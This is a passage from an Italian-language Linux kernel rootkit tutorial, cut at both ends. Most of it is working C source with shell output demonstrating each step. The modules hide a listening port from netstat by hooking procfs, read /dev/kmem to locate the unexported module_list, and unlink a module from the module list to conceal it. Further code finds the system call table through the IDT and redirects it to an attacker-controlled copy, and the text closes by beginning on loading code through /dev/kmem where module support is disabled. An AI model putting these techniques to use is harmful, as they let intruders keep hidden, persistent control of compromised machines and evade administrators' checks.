/* Sommiamo il risultato parziale agli altri in modo da
* avere alla fine il numero totale dei bytes letti
*/
length+=result;
for(ptr=start;ptr<start+result;ptr+=NET_LINE_MAX_LENGTH)
{
/* Controlliamo di riga in riga se troviamo la stringa
da nascondere, se si aumenta la variabile che ci dice
quante stringhe dobbiamo eliminare
*/
if(strnstr(ptr,porta,NET_LINE_MAX_LENGTH)) {
found++;
}
}
}
/* ritorniamo i bytes totali meno quelli occupati da stringhe da eliminare*/
return length-found*NET_LINE_MAX_LENGTH;
}


int n_get_info (char *page, char **start, off_t pos, int count)
{
int result,connections;
char *temp,*to_ptr,*from_ptr,porta[12]; 
/* Se abbiamo gia scritto tutto il possibile ritorniamo 0 */
if (pos >= get_newsize())
return 0;

if ((result=o_get_info(page,start,pos,count))<=0)
return result;


temp=(char*)kmalloc(result+NET_LINE_MAX_LENGTH+1,GFP_KERNEL);
memset(temp,0,result+NET_LINE_MAX_LENGTH+1);

to_ptr=temp;


if(pos>=NET_LINE_MAX_LENGTH)
{
from_ptr=page;
/* Se non e' la prima volta che la funzione viene chiamata
dobbiamo calcolare il numero delle connessioni gia scritte.
Siccome si va di TMPSZ in TMPSZ dividendo i bytes scritti
per TMPSZ e decrementando di 1 (la loro numerazione va da 0 ad n-1)
otteniamo il prossimo identificatore numerico da utilizzare
*/
connections=(pos/NET_LINE_MAX_LENGTH)-1;
}
else
{
/* Se e' la prima volta che veniamo chiamati
* dobbiamo copiare la stringa di intestazione
* nel nostro buffer temporaneo,incrementare
* i puntatori per le copie ed inizializzare
* il l'identificatore delle connessioni
*
*/

memcpy(to_ptr,page,NET_LINE_MAX_LENGTH);
to_ptr+=NET_LINE_MAX_LENGTH;
from_ptr=page+NET_LINE_MAX_LENGTH;
connections=0;
}

for(;from_ptr<page+result;from_ptr+=NET_LINE_MAX_LENGTH)
{
sprintf(porta,":%04X",HPORT);
/* Se nella stringa corrente non c'e' la sottostringa da eliminare
patchiamo l'identificatore, copiamo la stringa nel buffer temporaneo
incrementiamo il puntatore che ci dice dove scrivere ed il numero di
connessione
*/

if(!(strnstr(from_ptr,porta,NET_LINE_MAX_LENGTH)))
{
/* Patchiamo */
sprintf(porta,"%4d:",connections);
strncpy(from_ptr,porta,strlen(porta));
/* Copiamo */

memcpy(to_ptr,from_ptr,NET_LINE_MAX_LENGTH);

/* Incrementiamo */
to_ptr+=NET_LINE_MAX_LENGTH;
connections++;
}
}

/* Sovrascriviamo */

memcpy(page,temp,result);

/* Fix delle dimensioni (se necessario) */

connections=strlen(temp);

if(result<0)
result=0;
else if(result>connections)
result=connections;

*start = page;
kfree(temp);

return result;



}

int init_module(void) {
struct proc_dir_entry *tcp=get_tcp();
o_get_info=tcp->get_info;
tcp->get_info=n_get_info;
return 0;
}
void cleanup_module(void) 
{
struct proc_dir_entry *tcp=get_tcp();
tcp->get_info=o_get_info;
}
Vortex:~# netstat -an | grep 6667
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN
Vortex:~# insmod nethide.o
Vortex:~# netstat -an | grep 6667
Vortex:~# rmmod nethide
Vortex:~# netstat -an | grep 6667
tcp 0 0 0.0.0.0:6667 0.0.0.0:* LISTEN
Vortex:~#

Perfetto, ed ora che abbiamo visto questa tecnica, volendo, potremmo riscrivere l'occultamento
di processi usando proc e senza bisogno di andare a monitorare tutte quelle syscall che interagiscono
con una directory dato che basterebbe lavorare con le inode_operations di proc... :) Ve lo lascio
come esercizio.


- CONSIDERAZIONI

Senza ombra di dubbio e' una tecnica estremamente comoda la modifica delle funzioni del procfs,
senza contare che ci sono molte altre funzioni che possiamo andare a sostituire, non esistono
solo la read_proc e la get_info, questi sono stati esempi per farvi capire quanto comoda possa
essere. C'e' un problema pero':
Vortex:~# grep tcp_get_info /boot/System.map
c0265e10 T tcp_get_info
Vortex:~#
Le modifiche ai puntatori possono essere individuate attraverso un controllo coi valori presenti
in System.map. Cosi' facendo abbiamo solamente spostato il problema, ma non risolto, in quanto adesso
tutti sanno che e' buona cosa controllare anche quelle funzioni. Una possibile soluzione potrebbe essere
integrare la tecnica del salto in questa del procfs, ovvero modificare i primi bytes della tcp_get_info
(ad esempio) e farla saltare nella nostra n_tcp_get_info, oppure potremmo adottare delle tecniche un po'
piu' avanzate, cosa che vedremo tra breve. Comunque sia, ce ne sono di soluzioni, avete solo l'imbarazzo
della scelta :-)


- 5.1 MEMORY PARSER

 

Nella parte sulla redirezione di una qualsiasi funzione ho parlato della realizzazione
di strumenti appositi che possano fornirci quegli indirizzi di funzioni non esportate
che ci servono per i nostri hook. Quegli strumenti sono i parser di memoria.
Un parser di memoria, come dice il nome, non e' altro che un programma che attraverso
algoritmi di analisi della memoria piu' o meno sofisticati e' in grado di fornirci
un indirizzo od un qualsiasi valore che ci serva. Ora ne implementeremo uno in modo da
darvi un'idea di come dovete procedere per la loro realizzazione. Tuttavia, con l'utilizzo di
questi programmi si rende molto meno pulito il nostro lavoro, infatti un parser puo' restituire
un indirizzo errato (con conseguente crash della macchina al 99% dei casi) oppure
non trovare proprio niente. E' fondamentale percio' testarli con molti kernel/configurazioni
differenti per non avere brutte sorprese.

- 5.2 KMEM

Il file /dev/kmem e' un file speciale (una character device per essere precisi)
che e' un'immagine della memoria virtuale del kernel. In parole povere, accedendo
a questo file si puo' leggere/scrivere direttamente nella memoria del kernel.
Sfrutteremo questo file per andare a leggere la memoria del kernel su cui faremo
parsing.


- 5.3 L'IMPLEMENTAZIONE

Creiamo un parser che vada a trovare in memoria l'indirizzo della module_list ad esempio.

1)

Dobbiamo avere un'idea molto precisa della struttura del kernel in memoria per effettuare
questo tipo di ricerche, quindi dobbiamo trovare un sistema per scoprire com'e' fatto.
Fortunatamente se ci spostiamo nella directory dei sorgenti del kernel dopo la compilazione
noteremo la presenza di un file, vmlinux. Questo e' un'immagine non compressa del kernel
che abbiamo compilato (e che state facendo girare spero:), quindi basta crearne un dump
human-readable con objdump per ottenere letteralmente una mappa della memoria.

Vortex:/usr/src/linux# objdump -D vmlinux > vmliuxdump
Vortex:/usr/src/linux# ls vmlinuxdump
-rw-r--r-- 1 root root 43440490 Mar 6 02:03 vmlinuxdump
Vortex:/usr/src/linux# cat vmlinuxdump

vmlinux: file format elf32-i386

Disassembly of section .text:

c0100000 <startup_32>:
c0100000: fc cld
c0100001: b8 18 00 00 00 mov $0x18,%eax
c0100006: 8e d8 mov %eax,%ds
c0100008: 8e c0 mov %eax,%es
....
...
..
.

e cosi' via.

2)

Facciamo un grep per ottenere l'indirizzo della module_list
Vortex:/usr/src/linux# grep \<module_list\> vmlinuxdump
c030b100 <module_list>:
poi apriamo il dump, con less ad esempio, e facciamo una ricerca di questo indirizzo per vedere
dove compare. Se siamo fortunati una funzione esportata od una a cui e' facile risalire usera'
module_list, se non lo siamo ci tocchera' prendere nota delle funzioni che lo utilizzano e poi
iniziare a trovare il modo di rintracciare quelle funzioni e cosi' ricorsivamente. Piu' livelli
di ricorsivita' ci sono, ovviamente, piu' e' facile commettere errori, percio' cercate di ridurli
al minimo. Per aiutarvi, ad esempio, potreste anche utilizzare un modulo: mettiamo il caso che
stiate cercando un simbolo non esportato ma a cui un modulo puo' accedere facilmente, come la
tcp_get_info, create un modulo ad hoc che vi restituisca l'indirizzo e poi potete continuare
il vostro lavoro con una percentuale di errore diminuita di molto.
Ritornando alla module_list, siamo stati abbastanza fortunati: la utilizza una syscall, la
sys_create_module:
....
....
c011ff30: a1 00 b1 30 c0 mov 0xc030b100,%eax <----
c011ff35: 89 43 04 mov %eax,0x4(%ebx)
c011ff38: 81 3d 18 b1 30 c0 ad cmpl $0xdead4ead,0xc030b118
c011ff3f: 4e ad de
c011ff42: 89 1d 00 b1 30 c0 mov %ebx,0xc030b100 <----
c011ff48: 74 08 je c011ff52 <sys_create_module+0x192>
....
....

Come potete vedere, l'indirizzo che ci interessa e' utilizzato come argomento di una mov
dopo il cmpl con quel numero cosi' appariscente, 0xdead4ead. Possiamo percio' pensare che
sia una sorta di controllo con un valore fisso.
Vortex:/usr/src/linux# rgrep 0xdead4ead ./*
./include/asm/spinlock.h:#define SPINLOCK_MAGIC 0xdead4ead

Infatti. Possiamo percio' procedere in questo modo: otteniamo l'indirizzo della sys_create_module
dalla sys_call_table, da li' ci spostiamo ad analizzare la sys_create_module cercando un'istruzione
cmp con quel valore come argomento seguita da una mov. Uno degli argomenti della mov e' l'indirizzo
che ci serve.


3)

Non dobbiamo dimenticare pero' che quello che noi andremo a leggere non saranno comode istruzioni
in assembly, ma sara' codice macchina. Non disperate, qualcuno ci ha gia' pensato, sono infatti
disponibili sul sito http://bastard.sourceforge.net le libdisasm, delle librerie che permettono di
convertire codice macchina => istruzioni assembly in modo estremamente semplice.

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <bastard.h>
#include <libdis.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <asm/unistd.h>
#include <errno.h>

#define KMEM "/dev/kmem"
#define SIZE 20
#define SYS_CALL_TABLE 0xindirizzo_della_sys_call_table

int stalk_module_list(int fd);

int
main(void)
{
int file_descriptor;
if ((file_descriptor = open(KMEM, O_RDONLY)) < 0) {
fprintf(stderr, "Cannot open kmem\n");
exit(-1);
}
if (lseek(file_descriptor, SYS_CALL_TABLE, SEEK_SET) == -1) {
fprintf(stderr, "Cannot set right offset\n");
close(file_descriptor);
exit(-1);
}
disassemble_init(0, ATT_SYNTAX);

if ((stalk_module_list(file_descriptor)) < 0)
exit(-1);

disassemble_cleanup();
close(file_descriptor);
return 0;
}

int
stalk_module_list(int fd)
{
#define MAGIC "dead4ead"

unsigned char buffer[SIZE];
unsigned char tmpbuffer[SIZE];
unsigned long address;
unsigned long s_c_t[NR_syscalls];
struct instr istruzione;
int i,
j;

/*
* Leggiamo e memorizziamo tutta la sys call table 
*/
if (read(fd, s_c_t, NR_syscalls * 4) <= 0)
return -1;
/*
* Memorizziamo l'indirizzo della syscall che dobbiamo analizzare 
*/
address = s_c_t[SYS_create_module];

for (i = 0;; i += j) {
if (lseek(fd, address + i, SEEK_SET) == -1)
return -1;
if (read(fd, buffer, SIZE) < SIZE) {
fprintf(stderr, "Cannot read\n");
return -1;
}

if ((j = disassemble_address(buffer, &istruzione))) {
if (istruzione.mnemonic[0] != 0)
/* Controllo che istruzione e' */
if ((strstr(istruzione.mnemonic, "cmp")))
if (istruzione.src[0] != 0) {
/* Le libdisasm trasformano in signed i valori che trovano,
percio' saranno sotto forma di -0xabcdef ad esempio. Il
nostro invece e' un numero unsigned, percio' trasformiamo
il valore che trovano le libdisasm in unsigned, poi
confrontiamo le 2 stringhe
*/
sprintf(tmpbuffer, "%x",
strtoul((char *) &istruzione.src[1], NULL,
16));
if (strstr(tmpbuffer, MAGIC)) {
/*
* Ok ora dobbiamo controllare l'istruzione
* successiva 
*/
if (lseek(fd, address + i + j, SEEK_SET) == -1)
return -1;
if (read(fd, buffer, SIZE) < SIZE) {
fprintf(stderr, "Cannot read\n");
return -1;
}
if (disassemble_address(buffer, &istruzione) >
0) {
if (istruzione.mnemonic[0] != 0)
if ((strstr
(istruzione.mnemonic, "mov")))
if (istruzione.dest[0] != 0) {
printf("0x%x\n",
strtoul((char *)
&istruzione.
dest, NULL,
16));
break;
}
}
}
}

}

else
/* In caso non riesca a disassemblare aumenta di 1, senno' si creerebbe un loop */
j = 1;
}
return 0;
}

 

 

Vortex:~# gcc -ldisasm parser.c -o parser
Vortex:~# ./parser
0xc030b100
Vortex:~# grep c030b100 /boot/System.map
c030b100 D module_list
Vortex:~#

- CONSIDERAZIONI 

 

Programmi di questo tipo ci permettono di trovare indirizzi arbitrari all'interno di porzioni di codice e pertanto di bypassare alcuni sistemi di protezione basati sul wrappering delle funzioni: se ad esempio avessimo una call alla funzione originaria all'interno di una funzione wrapper che non possiamo modificare, ci basterebbe un banale parsing su quest'ultima per risalire all'indirizzo a cui viene fatta la call per poter cosi modificare la funzione originaria del tutto indisturbati.

 


- 5.4 COME NASCONDERE UN MODULO

Come potete immaginare, non vi ho fatto cercare la module_list per nulla :) Ora vedremo come sfruttarla
per nascondere il nostro modulo.
Tutti i moduli durante la creazione vengono agganciati in testa ad una lista, e la testa di questa lista
e' proprio module_list. L'idea e' semplice: scorriamo questa lista fino a trovare il nostro modulo,
quando lo troviamo replichiamo (in parte) il funzionamento della sys_delete_module, ma NON liberiamo la memoria
occupata dal modulo: cosi' facendo le zone di memoria rimarranno occupate dal nostro codice, ma il modulo
sara' cancellato dal sistema, percio' tutti i nostri hack continueranno ad essere funzionanti :)

 

#define MODULE
#define LINUX

#ifdef CONFIG_MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/sched.h>

#define MODULE_LIST /* Qui inserite il valore che vi ha restituito il parser */

struct module **my_module_list=(struct module **)MODULE_LIST;
struct module *my_find_module(char *);
char *name;
MODULE_PARM(name,"s");
int hide(char *name)
{
struct module *module = NULL;


module = my_find_module(name);
if (module != NULL) {
module->flags |= MOD_DELETED;
if (module->flags & MOD_RUNNING)
module->flags &= ~MOD_RUNNING;
if (module == *my_module_list)
*my_module_list = module->next;
else {
struct module *runner;
/* Attraverso i puntatori ->next si scorre la lista di moduli */
for (runner = *my_module_list; runner->next != module; runner = runner->next)
continue;
runner->next = module->next;
}
} 

return 0;
}
struct module *
my_find_module(char *name)
{
struct module *mod;
for (mod = *my_module_list; mod ; mod = mod->next) {
if (mod->flags & MOD_DELETED)
continue;
/* Il campo name contiene il nome del modulo */
if (strstr(mod->name, name))
break;
}
return mod;
}

int init_module(void) {
hide(name);
return 0;
}

 

Vortex:~# lsmod | grep test
test 372 0 (unused)
Vortex:~# insmod cloack.o name=test
Vortex:~# lsmod | grep test
Vortex:~#


- UNO SGUARDO AI 2.6

Il parser mostrato prima e' perfettamente funzionante, ma necessita dell'indirizzo della sys call table
per poter funzionare, indirizzo che nei kernel della versione 2.6.x non e' piu' esportato. Dobbiamo
trovare percio' un sistema affidabile per trovare questo indirizzo.


- 5.5 INTERRUPT DESCRIPTOR TABLE

Un interrupt puo' essere definito come un evento che altera la sequenza di istruzioni eseguita dal processore.
Ad esempio, quando chiamiamo una syscall succede questo: vengono sistemati i valori opportuni nei registri
in base a che syscall stiamo utilizzando e poi viene chiamato l'interrupt numero 0x80. Praticamente diciamo al
kernel: il tipo di interrupt che ti mandiamo e' questo (0x80) e nei registri trovi i parametri, fai quel che devi.
L'interrupt descriptor table e' una tabella che associa ciascun interrupt con la routine che deve essere eseguita per
gestirlo.
Guardate questo piccolo programma di esempio:

int main(void) {
char *ciao="ciao\n";
asm volatile ("mov $0x4,%%eax\n" <- Mettiamo il numero 4 nel registro eax. Il 4 corrisponde al numero della sys_write
"mov $0x1,%%ebx\n" <- Mettiamo il numero 1 in ebx. Questo parametro rappresenta il file descriptor
dove andra' a scrivere la write. 1 significa standard output
"mov $0x5,%%edx\n" <- Il 5 sono i bytes che la funzione dovra' scrivere
"mov %0,%%ecx\n" <- Mettiamo l'indirizzo contenuto nella variabile ciao in ecx. %0 significa il primo
argomento di input, ovvero quello poco piu' sotto :"m" (ciao). Gli stiamo dicendo
di caricare dalla memoria [ "m" ]il contenuto della variabile ciao [ (ciao) ]
e metterlo in ecx.
"int $0x80" <- Chiamiamo l'interrupt
:
:"m" (ciao)
);
}

Vortex:~# ./tmp
ciao
Vortex:~#

Questo significa che nella routine assegnata all'interrupt 0x80 c'e' un sistema per risalire alle funzioni della
sys call table od alla sys call table, vediamo percio' prima di trovare questa routine, poi di analizzarla.


- INT 0x80

L'interrupt descriptor table e' una tabella di 256 entry grandi 8 bytes l'una la cui struttura e'
a grandi linee la seguente:


   63                          48|47           40|39           32 

    +------------------------------------------------------------

    | 			  	 |				|

    | HANDLER ADDR (16-31) 	 |     NOT INTERESTING          |

    | 			   	 |				|

    =============================================================

    | 			   	 |				|

    | NOT INTERESTING 	   	 |	HANDLER ADDR (0-15)     |

    | 			   	 |				|

    ------------------------------------------------------------+

    31 		  	       16|15 				0

Come possiamo vedere l'indirizzo dell'handler e' diviso in due all'interno degli 8 bytes dell'entry, dovremo
percio' ricompattarlo prima di poterlo usare.
A questo punto dobbiamo solamente accedere alla posizione 0x80 dell'IDT per trovare l'indirizzo della routine
da analizzare per risalire all'indirizzo della sys call table.
Ma come facciamo a risalire all'indirizzo dell'IDT? Esiste un'istruzione assembly che ci restituisce questo
indirizzo, la " sidt " :)
Vediamo percio' come risalire prima all'IDT e poi all'indirizzo della routine che ci interessa:

 

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

#define KMEM "/dev/kmem"

struct {
unsigned short not_interesting;
unsigned int start;
} __attribute__ ((packed)) idt;

struct {
unsigned short addr1;
unsigned char not_interesting[4];
unsigned short addr2;
} __attribute__ ((packed)) idt_entry;

/* Legge da un file descriptor tot bytes ad una posizione specificata */
int kread(int des, unsigned long addr, void *buf, int len)
{
int rlen;
if(lseek(des, (off_t)addr, SEEK_SET) == -1)
return -1;
if((rlen = read(des, buf, len)) != len)
return -1;
return rlen;
}



int main(void)
{
int kmem;
unsigned long int80_routine;

/* Mettiamo l'output dell'istruzione nella variabile idt */
asm ("sidt %0" : "=m" (idt));

if ((kmem=open(KMEM, O_RDONLY))<0)
return -1;

/* Ci spostiamo di 0x80 posizioni grandi ciascuna 8 bytes dal
punto di partenza della IDT, poi leggiamo l'entry corrispondente,
ovvero quella dell'int 0x80
*/
if (kread(kmem, idt.start+8*0x80, &idt_entry, sizeof(idt_entry))<0)
return -1;
/* Ricompattiamo l'indirizzo */
int80_routine= (idt_entry.addr2 << 16) | idt_entry.addr1;

printf("Int80 handler=%x\n",int80_routine);
close(kmem);
return 0;
}

 

 

Vortex:~# ./int80
Int80 handler=c0107b0c
Vortex:~# grep c0107b0c /boot/System.map
c0107b0c T system_call
Vortex:~#

Bingo :>


- SYS CALL TABLE

Andiamo subito a vedere nel dump di vmlinux com'e' fatta la funzione appena trovata:

c0107b0c <system_call>:
c0107b0c: 50 push %eax
c0107b0d: fc cld
c0107b0e: 06 push %es
c0107b0f: 1e push %ds
c0107b10: 50 push %eax
c0107b11: 55 push %ebp
c0107b12: 57 push %edi
c0107b13: 56 push %esi
c0107b14: 52 push %edx
c0107b15: 51 push %ecx
c0107b16: 53 push %ebx
c0107b17: ba 18 00 00 00 mov $0x18,%edx
c0107b1c: 8e da mov %edx,%ds
c0107b1e: 8e c2 mov %edx,%es
c0107b20: bb 00 e0 ff ff mov $0xffffe000,%ebx
c0107b25: 21 e3 and %esp,%ebx
c0107b27: f6 43 18 02 testb $0x2,0x18(%ebx)
c0107b2b: 75 5f jne c0107b8c <tracesys>
c0107b2d: 3d 0e 01 00 00 cmp $0x10e,%eax
c0107b32: 0f 83 81 00 00 00 jae c0107bb9 <badsys>
c0107b38: ff 14 85 f8 8f 30 c0 call *0xc0308ff8(,%eax,4)
c0107b3f: 89 44 24 18 mov %eax,0x18(%esp,1)
c0107b43: 90 nop

Guardate la call, quella sul fondo, l'indirizzo non vi sembra familiare?
Vortex:~# grep c0308ff8 /proc/ksyms
c0308ff8 sys_call_table_Rsmp_dfdb18bd
Vortex:~#
Esattamente quello che stavamo cercando. Ora basta un banale parsing della funzione per
risalire all'indirizzo che ci interessa :-) Volendo non serve nemmeno scomodare le
libdisasm, l'opcode di quel tipo di call e' fisso, percio' basterebbe leggere la funzione
e cercare al suo interno "\xff\x14\x85":

unsigned long sys_call_table;
....

void *ptr=memmem(buffer_contenente_la_funzione,"\xff\x14\x85",100);
sys_call_table= *(unsigned long*)ptr+3; /* I 3 bytes del pattern ;) */

Ecco fatto :-)

 

- CONSIDERAZIONI

In questa sezione, anche se fino ad ora non gli si e' dato molto peso, abbiamo introdotto una
cosa importantissima, kmem. Fino ad adesso l'abbiamo utilizzato solo come un file dove andare
a leggere le informazioni che ci servivano, ma non dobbiamo dimenticare che su questo file
possiamo andare anche a scrivere... ~:)

Abbiamo anche visto come fa il sistema a risalire alla sys call table, ma ora vi chiedo: e'
proprio necessario andare a modificare la sys call table per redirigere le sue funzioni? ~:)


- 6.1 HIJACKING DELLA SYS CALL TABLE

La risposta ovviamente e' no :) Pensateci un attimo, se il sistema risale alla sys call table
semplicemente tramite l'indirizzo che andiamo a scoprire col giochetto sidt/parsing sarebbe
uno scherzetto andare a modificare quel valore...
Controlliamo:
Vortex:~# grep sys_call_table /proc/ksyms
c0308ff8 sys_call_table_Rsmp_dfdb18bd
Vortex:~# grep c0308ff8 /usr/src/linux/vmlinuxdump
c0107b38: ff 14 85 f8 8f 30 c0 call *0xc0308ff8(,%eax,4)
c0107ba4: ff 14 85 f8 8f 30 c0 call *0xc0308ff8(,%eax,4)
c0308ff8 <sys_call_table>:
c0308ff8: 60 pusha
Vortex:~#

Chiaramente gli ultimi due match sono irrilevanti, ma andando a controllare i primi due
vediamo che il primo corrisponde al valore che troviamo con la tecnica esposta poco fa,
mentre il secondo appartiene a questa funzione:

c0107b8c <tracesys>:
c0107b8c: c7 44 24 18 da ff ff movl $0xffffffda,0x18(%esp,1)
c0107b93: ff
c0107b94: e8 37 4b 00 00 call c010c6d0 <syscall_trace>
c0107b99: 8b 44 24 24 mov 0x24(%esp,1),%eax
c0107b9d: 3d 0e 01 00 00 cmp $0x10e,%eax
c0107ba2: 73 0b jae c0107baf <tracesys_exit>
c0107ba4: ff 14 85 f8 8f 30 c0 call *0xc0308ff8(,%eax,4) <----- Eccolo
c0107bab: 89 44 24 18 mov %eax,0x18(%esp,1)

ed il kernel ci accede nel medesimo modo. Tutto qui, non ci sono altre occorrenze,
forse e' davvero semplice com'era sembrato all'inizio... :) Notate anche gli indirizzi,
sono funzioni molto vicine, percio' con un piccolo parsing su una zona di memoria
limitata dovremmo essere in grado di localizzarle tutte.
Procediamo in questo modo allora:

- Creiamo una sys call table "finta"
- Copiamo la sys call table vera in quella finta
- Modifichiamo un puntatore a funzione della sys call table finta per prova
- Sovrascriviamo l'indirizzo in memoria della sys call table originale con quello
della nostra finta.

 

#define __KERNEL__
#define MODULE
#ifdef CONFIG_MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <asm/unistd.h>
#include <sys/syscall.h>

struct {
unsigned short not_interesting;
unsigned int start;
} __attribute__ ((packed)) idt;

struct {
unsigned short addr1;
unsigned char not_interesting[4];
unsigned short addr2;
} __attribute__ ((packed)) idt_entry;

/* Questa funzione fa l'equivalente di memmem(buffer,"\xff\x14\x85",3) */
char *parse(char *start,int size)
{
char *p;
for (p = start; p < start + size; p++)
if (*p == '\xff' && *(p + 1) == '\x14' && *(p + 2) == '\x85')
return p;
return NULL;
}

static unsigned long sct;
static unsigned long *n_s_c_t; /* Puntatore alla nostra nuova sys call table */

int (*o_setuid32)(unsigned int id);

int n_setuid32(unsigned int id)
{
/* Nulla di complesso, solo un semplice saluto :-) */

printk("Hello world\n");
return o_setuid32(id);
}

/* Cerca per 200 bytes l'indirizzo della sys call table e lo
sostituisce con quello della nostra tabella
*/
int seek_and_change(unsigned long addr)
{
unsigned char *ptr;
unsigned long counter=addr,times=0;

for(ptr=(unsigned char*)addr;ptr<ptr+200;ptr++)
if(*(unsigned long*)ptr==sct)
{
/* Ricordate? Deve trovare 2 occorrenze */
if(++times==2)
return 0;
*(unsigned long*)ptr=(unsigned long)n_s_c_t;
}
if(times==0)
return -1;

return 0;
}

/* Cerca per 200 bytes l'indirizzo della nostra tabella e lo sostituisce
con quello originale. Verra' usata nel cleanup
*/
int seek_and_restore(unsigned long addr)
{
unsigned char *ptr;
unsigned long counter=addr,times=0;
for(ptr=(unsigned char*)addr;ptr<ptr+200;ptr++)
if(*(unsigned long*)ptr==(unsigned long)n_s_c_t)
{
if(++times==2)
return 0;
*(unsigned long*)ptr=sct;
}
if(times==0)
return -1;
return 0;
}



static char *ptr;
static char buffer[100]={ 0 };
static unsigned long int80_routine;

int init_module(void)
{

asm ("sidt %0" : "=m" (idt));
memcpy(&idt_entry,(unsigned long*)(idt.start+8*0x80),sizeof(idt_entry));
int80_routine= (idt_entry.addr2 << 16) | idt_entry.addr1;
memcpy(buffer,(unsigned long*)int80_routine,sizeof(buffer));
ptr=(char*)parse(buffer,sizeof(buffer));
if (!ptr)
return -1;
sct=*(unsigned long*)(ptr+3);
/* Ok, ora che abbiamo trovato la sys call table allochiamo memoria
per quella nuova
*/
n_s_c_t=(unsigned long*)kmalloc(NR_syscalls*sizeof(void*),GFP_KERNEL);

/* Copiamo la sct originale nella nostra */
memcpy(n_s_c_t,(unsigned long*)sct,NR_syscalls*sizeof(void*));

/* Salviamo il puntatore originario */
o_setuid32=(void*)((unsigned long*)sct)[SYS_setuid32];

/* Modifichiamo il puntatore con la nostra funzione */
n_s_c_t[SYS_setuid32]=(unsigned long)n_setuid32;

/* Modifichiamo i valori in memoria */
if(seek_and_change(int80_routine)<0) {
kfree(n_s_c_t);
return -1;
}

return 0;
}

void cleanup_module(void)
{
seek_and_restore(int80_routine);
kfree(n_s_c_t);
}

Compiliamo e testiamo:

Vortex:/tmp# insmod int80.o
Vortex:/tmp# su angel
angel@Vortex:/tmp$ dmesg
Hello world
angel@Vortex:/tmp$

Funziona :>

 


- 6.2 IL PROBLEMA

Tutte le tecniche piu' o meno complesse che abbiamo visto fin'ora ci consentono di
nascondere egregiamente praticamente ogni tipo di informazione a noi scomoda, ma
hanno tutte il medesimo enorme problema: sono tutte utilizzabili solamente se la
macchina su cui ci troviamo ha il supporto per i moduli. Inoltre, di recente, si
e' diffusa la curiosa convinzione che basti disabilitare il supporto per i moduli
per mettersi al riparo dagli attacchi a kernel space. La cosa sarebbe fastidiosa
davvero, se non fosse per il fatto che e' una convinzione completamente sbagliata.
Ora andremo a vedere come "installare" dei moduli in una macchina senza supporto
per i moduli :)

 

- FORMA E STRUTTURA

Come penso abbiate gia immaginato, e' proprio questo il momento in cui rientra in
scena /dev/kmem, cosi' come l'abbiamo usato in lettura possiamo utilizzarlo in
scrittura. Quando andiamo ad inserire un modulo nel kernel con insmod non facciamo
altro che aggiungere/modificare dati a kernel space, cosa che possiamo fare benissimo
a userspace lavorando su kmem dato che le zone di memoria raggiungibili sono le stesse.

Innanzitutto, dobbiamo ricordarci che con kmem andiamo accedere direttamente alla
memoria e quello che conterra' sara' codice macchina, pertanto non potremo
semplicemente "copiare" il file del nostro modulo su kmem per farlo funzionare, sara'
necessario un po' di lavoro in piu'. (Pensavate davvero che fosse cosi' facile? ;)

Nel modo in cui andremo a lavorare, ovvero copiando direttamente del codice pronto da
eseguire in memoria, non avremo il supporto del linker, percio' dovremo lavorare senza
poter utilizzare i simboli del kernel, variabili globali e stringhe, in quanto e' proprio
quest'ultimo che si occupa della loro rilocazione.
Normalmente e' insmod che si occupa di queste cose, infatti se avete notato, abbiamo
sempre compilato i nostri moduli con l'opzione -c :
[Da manuale di gcc]

...For example, the -c option says not to run the linker.

Non potremo nemmeno usare funzioni che richiedano linking, percio' scordatevi le librerie
"normali" :-)
Dovremo produrre una massa di codice perfettamente funzionante "cosi' com'e'".

Dovremo inoltre trovare un modo di allocare della memoria a kernel space ed uno per "attivare"
una funzione kernel space, il tutto restando ad userspace.

Un'iniziale scaletta del nostro procedimento potrebbe essere questa:

- Crea la massa di codice
- Alloca memoria a kernel space
- Copia il codice nella memoria precedentemente allocata
- Avvia la funzione di init del nostro programma (l'equivalente dell'init_module in sostanza)

- ALCUNE PRECISAZIONI

Quando ho detto che non avremmo potuto utilizzare variabili globali e stringhe...in parte ho mentito :P
Non potremo utilizzarle nel modo "normale" in cui siamo abituati a farlo, ma e' possibile creare
delle variabili accessibili ovunque (percio' come se fossero globali) ma che non necessitano di
rilocazione, o meglio, autorilocanti: sara' la variabile stessa a fornirci il suo indirizzo.
Ho mentito anche quando dicevo che non avremmo potuto usare simboli del kernel...diciamo che
non e' possibile utilizzarli nella maniera consueta, ma anche qui con qualche trucchetto ce la
possiamo cavare.

- 6.3 VARIABILI GLOBALI

Veniamo alle variabili autorilocanti. Il trucco e' molto semplice, trasformeremo la nostra
variabile in una funzione che una volta chiamata ci restituisca un puntatore ad una zona di
memoria contenente il suo valore.
Ok, forse non e' proprio cosi' semplice da dire a parole, vediamo percio' qualche frammento di
codice che ci aiuti a capire meglio.

Analizziamo questo pseudocodice assembly:

call ETICHETTA1 <--- Punto di partenza
...
...
...
ETICHETTA2: pop eax
ret
ETICHETTA1: call ETICHETTA2
.stringa "Ciao mondo"

Passo 1: il programma va ad eseguire la call che sposta l'esecuzione del programma ad ETICHETTA1
Passo 2: viene eseguita la call, questo fa si che l'esecuzione del programma si sposti ad
etichetta 2 e l'indirizzo di ritorno (ovvero dove dovrebbe riprendere l'esecuzione del programma
una volta finita la call) venga salvato nello stack
Passo 3: il valore in cima allo stack (ovvero l'indirizzo di ritorno della call) viene messo nel registro
eax
Passo 4: viene eseguita la ret, la call finisce ed abbiamo il suo indirizzo di ritorno in eax

Ma a cosa ci serve l'indirizzo di ritorno della call? Come potete vedere quello che c'e' dopo
la call e' la stringa "Ciao mondo", percio' in eax avremo salvato l'indirizzo di questa stringa.
Noi e' proprio in questo modo che opereremo, al posto di "Ciao mondo" ci sara' la zona di memoria
contenente il valore della nostra variabile, ovunque esso sia senza bisogno di rilocazione.
Creeremo una struttura dove ogni suo campo e' un componente dell'algoritmo spiegato (call,pop e valore)
poi la convertiremo in funzione tramite cast ed infine la chiameremo. (I bytes sono tutti in "fila" in
memoria, percio' funziona :)

 

#define RELOC(tipo, quante, nome, valori...) \
struct s_##nome { \
